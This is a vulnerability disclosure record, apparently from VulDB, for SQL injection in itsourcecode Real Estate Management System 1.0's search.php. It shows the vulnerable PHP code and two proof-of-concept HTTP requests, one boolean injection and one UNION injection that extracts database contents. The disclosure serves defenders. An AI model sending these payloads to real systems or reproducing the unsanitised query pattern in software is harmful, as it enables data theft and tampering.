Enviar #886160: itsourcecode Real Estate Management System 1.0 SQL Injection

Description:
The property search functionality in `search.php` concatenates four user-supplied POST parameters (`search`, `delivery_type`, `search_price`, `property_type`) directly into a SQL query without any sanitization, escaping, or parameterization. The endpoint requires no authentication.

Vulnerable Code:
**File**: `search.php`, Lines 14-29
```php
$search_value = $_POST['search'];
$delivery_type = $_POST['delivery_type'];
$search_price = $_POST['search_price'];
$property_type = $_POST['property_type'];

if($search_price == 1){
$query = "select * from properties where (property_title LIKE '%$search_value%' or property_details LIKE '%$search_value%' or property_address LIKE '%$search_value%' or property_type LIKE '%$search_value%') and (delivery_type = '$delivery_type') and (property_type = '$property_type') and (price >= 5000 and price <= 50000)";
}
// ... identical pattern for other price ranges ...

$result = mysqli_query($con, $query);
```

No `mysqli_real_escape_string()`, no prepared statements. All four parameters are directly interpolated.

Proof of Concept:
**Blind SQL Injection (delivery_type)**:
```http
POST /search.php HTTP/1.1
Host: localhost:8096
Content-Type: application/x-www-form-urlencoded

submit=1&search=Apartment&delivery_type=Sale' OR '1'='1&search_price=1&property_type=Apartment
```

**UNION Injection — Database Extraction (search parameter)**:
```http
POST /search.php HTTP/1.1
Host: localhost:8096
Content-Type: application/x-www-form-urlencoded

submit=1&search=%') UNION SELECT 1,CONCAT('EXFIL:',database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16 -- -&delivery_type=Sale&search_price=1&property_type=Apartment
```

Impact:
- Complete database compromise via UNION injection (CWE-89)
- Extract all property listings, agent information, and user data
- Modify or delete database records
- The application uses `root` MySQL user with full privileges

Reference: https://github.com/microwaveabi/vul/issues/5

• Fuente: ⚠️ https://github.com/microwaveabi/vul/issues/5
• Usuario: microwave (UID 96185)
• Sumisión: 2026-07-11 05:17 (hace 1 mes)
• Moderación: 2026-08-24 07:18 (1 month later)
• Estado: Aceptado
• Entrada de VulDB: 394594 [itsourcecode Real Estate Management System 1.0 search.php search/delivery_type/search_price/property_type inyección SQL]
• Puntos: 20